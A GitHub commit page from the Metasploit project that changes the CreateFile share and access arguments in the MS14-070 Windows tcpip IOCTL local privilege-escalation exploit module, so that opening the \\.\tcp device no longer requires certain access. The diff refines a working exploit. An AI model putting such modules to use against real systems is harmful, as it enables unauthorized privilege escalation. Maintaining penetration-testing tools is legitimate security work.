Skip to content

Commit fe84063

Browse files
committed
Land rapid7#4791, fix ms14-070 CreateFile arguments
The arguments to CreateFileA used to require that the user had some level of access on the \\.\tcp device.
2 parents 1099084 + e40772e commit fe84063

File tree

1 file changed

+2
-2
lines changed

1 file changed

+2
-2
lines changed

modules/exploits/windows/local/ms14_070_tcpip_ioctl.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -68,7 +68,7 @@ def check
6868
return Exploit::CheckCode::Safe
6969
end
7070

71-
handle = open_device('\\\\.\\tcp', 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING')
71+
handle = open_device('\\\\.\\tcp', 0, 'FILE_SHARE_READ', 'OPEN_EXISTING')
7272
return Exploit::CheckCode::Safe unless handle
7373

7474
session.railgun.kernel32.CloseHandle(handle)
@@ -103,7 +103,7 @@ def exploit
103103
fail_with(Exploit::Failure::NotVulnerable, "Exploit not available on this system")
104104
end
105105

106-
handle = open_device('\\\\.\\tcp', 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING')
106+
handle = open_device('\\\\.\\tcp', 0, 'FILE_SHARE_READ', 'OPEN_EXISTING')
107107
if handle.nil?
108108
fail_with(Failure::NoTarget, "Unable to open \\\\.\\tcp device")
109109
end

0 commit comments

Comments
 (0)